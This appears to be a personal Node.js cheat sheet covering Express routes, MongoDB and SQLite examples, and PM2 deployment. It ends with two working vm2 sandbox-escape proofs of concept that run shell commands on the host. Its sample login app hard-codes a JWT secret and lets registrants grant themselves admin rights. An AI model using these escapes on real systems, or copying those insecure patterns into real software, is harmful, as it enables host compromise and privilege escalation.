13Languages
Node.js
01 Getting start
bash32 lines
## ------------------| One Rule to Rule Them Allnpx express-generator -f --git
## ------------------| Create package.jsonnpm init -f
## ------------------| Install dependencies### Install app directory and save it in the dependencies listnpm install express cors nodemon dotenv### Install temporarily and not add it to the dependencies listnpm install express cors nodemon dotenv --no-save
## ------------------| Changes on package.json"scripts": { "start": "nodemon src/app.js"}
## ------------------| Create .gitignore file/node_modules.env/.pnp.pnp.js/coverage/build.DS_Store.env.local.env.development.local.env.test.local.env.production.localnpm-debug.log*yarn-debug.log*yarn-error.log*- app.js
javascript19 lines
const express = require('express')const cors = require('cors')const app = express()const port = 3000
// Loads environment variables from a .env file [to use process.env.NAME]require('dotenv').config()
// Middlewares [app.use(<a function>);]app.use(cors());
// Register Routesapp.get('/api/v1/test', (req, res) => { res.send('Hello h4rithd.com')})
app.listen(port, () => { console.log(`App listening on port ${port}`)})02 Register Routes
bash26 lines
## ------------------| For GET Request### [text/html]app.get('/api/v1/test', (req, res) => { res.send('Hello h4rithd.com')})### [application/json]app.get('/api/v1/json', (req, res) => { res.json({ message: "Hello h4rithd.com" })})
## ------------------| For POST Requestapp.post('/api/v1/test', (req, res) => { res.send('Hello h4rithd.com')})
## ------------------| For PUT Requestapp.put('/api/v1/test', (req, res) => { res.send('Hello h4rithd.com')})
## ------------------| For POST Requestapp.post('/api/v1/test', (req, res) => { res.send('Hello h4rithd.com')})03 Database Management
03.1 MongoDB
- Getting started
bash3 lines
## ------------------| Install dependenciesnpm init -ynpm install mongoose express nodemon- Connect to database
javascript6 lines
const mongoose = require('mongoose');mongoose.connect('mongodb//<USER>:<PASS>@localhost/my_database').then(() => { app.listen(port, () => { console.log(`App listening on port ${port}`) })});- Insert data to database [Basic]
javascript17 lines
const mongoose = require('mongoose');const Schema = mongoose.Schema;
const Item = new Schema({ item: String,});
mongoose.model("Item", Item);
app.post('/items', async (req, res) => { const item = req.body; const ItemModel = mongoose.model("Item"); const myItem = new ItemModel(item); const createdItem = await myItem.save(); // Save data to database console.log(createdItem); res.send('Hello h4rithd.com');})- Insert data to database [Structured]
bash44 lines
## ------------------| src/app.jsconst mongoose = require('mongoose');const express = require('express')const cors = require('cors')const app = express()const port = 3000
require('./models/item');
app.use(cors());app.use(express.json())
app.post('/items', require("./route/insertItem"));
mongoose.connect('mongodb//<USER>:<PASS>@localhost/my_database').then(() => { app.listen(port, () => { console.log(`App listening on port ${port}`) })});
## ------------------| ./src/models/item.jsconst mongoose = require('mongoose');const Schema = mongoose.Schema;
const Item = new Schema({ item: { type: String, require: true },});
mongoose.model("Item", Item);
## ------------------| ./route/insertItem.jsconst mongoose = require('mongoose');
module.exports = async (req, res) => { const item = req.body; const ItemModel = mongoose.model("Item"); const myItem = new ItemModel(item); const createdItem = await myItem.save(); // Save data to database console.log(createdItem); res.send('Hello h4rithd.com');};03.2 SQLiteDB
- Getting started
bash7 lines
npm init -ynpm install express sqlite3 body-parser bcryptjs jsonwebtoken nodemon
## ------------------| Changes on package.json"scripts": { "start": "nodemon src/app.js"}- Create app.js
javascript118 lines
const express = require('express');const sqlite3 = require('sqlite3').verbose();const bodyParser = require('body-parser');const bcrypt = require('bcryptjs');const jwt = require('jsonwebtoken');
const app = express();app.use(bodyParser.json());
const db = new sqlite3.Database('./database.db');
// Create tables if they don't existdb.serialize(() => { db.run(`CREATE TABLE IF NOT EXISTS users ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT UNIQUE, email TEXT, password TEXT, name TEXT, isAdmin INTEGER )`);
db.run(`CREATE TABLE IF NOT EXISTS messages ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, message TEXT, date TEXT )`);});
// JWT Secretconst JWT_SECRET = "your_secret_key";
// Register routeapp.post('/api/v1/register', (req, res) => { const { username, email, password, name, isAdmin } = req.body;
// Hash password const hashedPassword = bcrypt.hashSync(password, 10);
db.run(`INSERT INTO users (username, email, password, name, isAdmin) VALUES (?, ?, ?, ?, ?)`, [username, email, hashedPassword, name, isAdmin ? 1 : 0], function (err) { if (err) { return res.status(400).json({ error: err.message }); } res.json({ message: "User registered successfully" }); } );});
// Login routeapp.post('/api/v1/login', (req, res) => { const { username, password } = req.body;
db.get(`SELECT * FROM users WHERE username = ?`, [username], (err, user) => { if (err) return res.status(500).json({ error: err.message }); if (!user) return res.status(400).json({ error: "User not found" });
// Compare password if (!bcrypt.compareSync(password, user.password)) { return res.status(400).json({ error: "Invalid password" }); }
// Generate JWT token const token = jwt.sign({ id: user.id, username: user.username, isAdmin: user.isAdmin }, JWT_SECRET); res.json({ token }); });});
// Middleware to authenticate JWT tokenconst authenticateJWT = (req, res, next) => { const token = req.headers.authorization;
if (!token) return res.status(403).json({ error: "Token missing" });
jwt.verify(token, JWT_SECRET, (err, user) => { if (err) return res.status(403).json({ error: "Invalid token" }); req.user = user; next(); });};
// Send message routeapp.post('/api/v1/sendMessage', authenticateJWT, (req, res) => { const { message } = req.body; const username = req.user.username; const date = new Date().toISOString();
db.run(`INSERT INTO messages (username, message, date) VALUES (?, ?, ?)`, [username, message, date], function (err) { if (err) return res.status(500).json({ error: err.message }); res.json({ message: "Message sent successfully" }); } );});
// Update user route (Admin only)app.put('/api/v1/updateUser', authenticateJWT, (req, res) => { if (!req.user.isAdmin) return res.status(403).json({ error: "Only admin can update user" });
const { id, username, email, name, isAdmin } = req.body; db.run(`UPDATE users SET username = ?, email = ?, name = ?, isAdmin = ? WHERE id = ?`, [username, email, name, isAdmin ? 1 : 0, id], function (err) { if (err) return res.status(500).json({ error: err.message }); if (this.changes === 0) return res.status(400).json({ error: "User not found" }); res.json({ message: "User updated successfully" }); } );});
// Start serverconst PORT = process.env.PORT || 3000;app.listen(PORT, () => { console.log(`Server running on port ${PORT}`);});04 Deploying
- Process Manager (PM2)
bash7 lines
npm install -g pm2pm2 start app.js --name "myapp" --watchpm2 save ## save the configuration for restart persistencepm2 startup ## set up PM2 to start on bootpm2 list ## list allpm2 logs "myapp" ## display logspm2 restart ## restart- For DEV env
bash13 lines
## ------------------| Specify which files or directories to watch (pm2.config.js)module.exports = { apps: [ { name: 'app', script: './app.js', watch: true, ignore_watch: ['node_modules', 'logs'] } ]};
## pm2 start pm2.config.js- For PROD env
bash20 lines
## ------------------| Set environment variables (pm2.config.js)module.exports = { apps: [ { name: 'app', script: './app.js', env: { NODE_ENV: 'development', PORT: 3000 }, env_production: { NODE_ENV: 'production', PORT: 80 } } ]};
## pm2 start pm2.config.js --env production## pm2 startup05 Scandbox Escaping
05.2 CVE-2023-32314
javascript21 lines
const { VM } = require("vm2");const vm = new VM();
const code = ` const err = new Error(); err.name = { toString: new Proxy(() => "", { apply(target, thiz, args) { const process = args.constructor.constructor("return process")(); throw process.mainModule.require("child_process").execSync("echo hacked").toString(); }, }), }; try { err.stack; } catch (stdout) { stdout; }`;
console.log(vm.run(code)); // -> hacked05.2 CVE-2023-30547
javascript23 lines
const {VM} = require("vm2");const vm = new VM();
const code = `err = {};const handler = { getPrototypeOf(target) { (function stack() { new Error().stack; stack(); })(); }};
const proxiedErr = new Proxy(err, handler);try { throw proxiedErr;} catch ({constructor: c}) { c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');}`
console.log(vm.run(code));